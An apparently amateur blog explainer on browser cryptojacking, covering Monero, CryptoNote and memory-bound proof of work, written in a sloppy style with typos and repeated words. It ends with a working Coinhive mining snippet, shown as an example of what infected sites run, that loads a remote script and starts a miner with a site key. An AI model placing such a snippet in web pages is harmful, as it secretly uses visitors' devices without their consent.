Cryptojacking

What is  Cryptojacking?

Cryptojacking is the secret use of your computing device to mine cryptocurrency. Which secretly use your laptop or your mobile device to mine cryptocurrency when you visit an infected web site. That web sites could have the script that would start mining the cryptocurrency Monero when a webpage loaded. The Pirate Bay torrenting site quickly incorporated it to raise funds. Hackers found the way to inject the script into websites. After you visit an cryptojacked page  your processor load spiking dramatically after navigate to thaose pages. 

Cryptojacking used to be confirmed to the victim unknowingly installing a installing a program that secretly mines cryptocurrency.

Here's the Bad news😲....

          In browser cryptojacking doesn't need a program to be installed. Below, you'll find out more stuff about how to protect yourself from cryptojacking and in browser how it works.

How Cryptojacking works in browser?

        In browser cryptojacking uses JavaScript on a web page to mine for cryptocurrencies. JavaScript runs on just about every website you visit, so the JavaScript code responsible for in browser mining doesn't need to be installed. If you think it's ok and it's nothing than think again....

        

       When You load the page and the in browser mining code just runs. No need to install, and no need to option. Currently (mid november 2017), browser mining is available for the Monero Cryptocurrency.

What is Monero?

Monero is a secure, private, and untraceble cryptocurrency. It is open source and accessible to all. With Monero, you are your own bank. Only you control and are responsible for your funds. Your account and transaction are kept private from eyes. Monero is a privacy focussed cryptocurrency started in 2014 unlike Bitcoin, Monero is derived from CryptoNote.

Monero is Secure

Monero is a decentralized cryptocurrency, meaning it is secure digital cash operated by a network users. Transaction are confirmed by distributed consensus and then immutably recorded on the blockchain. Third parties do not need to be trusted to keep your Monero safe.

Monero is private

Monero uses ring signatures and ring confidential transaction to obfuscate the amount, origins, and destination of all transaction. Monero provides all the benifit of a decentralized cryptocurrency, without any of the typical privacy concessions.

Monero is untraceable

Sending and reciving addresses as well as transactes are obfuscated by default. Transaction on the Monero blockchain cannot be linked to a particular user or real world identity.

Monero is fungible

Monero is fungible because it is private by default. In its current state, it is extremely unlikely unlikely that Monero will ever be blacklisted by exchanges or vendors de to its its association in previous transactions. 

What is CryptoNote?

CryptoNote is a protocol that differs from Bitcoin in few manners of:

• CryptoNote has a virtually  anonymous ledger rather than public ledges rather than public ledgers that are traceable.
• CryptoNote has a memory bound rather than CPU bound proof of work algorithm.

So, What is Ledger?

A Ledger is a permanent record that lists all relevant transactions. Cryptocurrencies use a distributed ledger that is stored and kept up to date by each individual on thee payment network. Everyone processes every transaction and casts a vote to agree or disagree with the transaction. Once there's majority, the distributed ledger is updated. 

And What is CPU bound?

When your proof of work is CPU bound, the work that your computer does is decides by how powerful your CPU is. Faster CPUs will complete the proof of work  before slower CPUs.

And What about Memory bound?

When your proof of work is memory bound, the work that your computer does is decide by how much memory you have e.g. RAM.

Basic idea :

•  Load a  bunch of data into a large region of memory. Then ask the computer to retrieve the data from a bunch of different memory location in a very unpredictable way. 
• The point is without loading the data into memory, it would be slow to access all those different memory locations e.g. reading from disk.

Does it really matter?

• In order to mine cryptocurrencies you need to provide proof of work. GPUs and ASICs specifically turned for mining cryptocurrencies dominate the payment networks.
• With thee proliferation of specialized mining hardware, there's a push for more egalitarian proof of work. The reasoning is that people who want to participate in mining and don't have specialized hardware are at a very big disadvantages.

 

Will you notice is a web page is cryptojacking?

It depends.

If the mining is being throttled to stay below a certain threshold, you may not notice any performance degradation. If the mining is not being throttled, you will likely notice some impact on performance.

What devices are affected?

In browser cryptojacking can happen to any computing device that can run JavaScript. This means your desktop, your laptop, and even your mobile device could be potential targets for browser cryptojacking.

What  websites do Cryptojacking?

Some of websites have removed  the cryptojacking code on their websites, here are some websites that were reported for cryptojacking.

•  The Pirate Bay
• Showtime
• UFC

Cryptojacking Code looks like?

I visit to that sites which does the cryptojacking and tracked down the code that perform the mining.

Source code:

 <script src="https://coin-hive.com/lib/coinhive.min.js">

</script>

 

<script>

var miner = new CoinHive.Anonymous('B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P');

miner.start();

</script>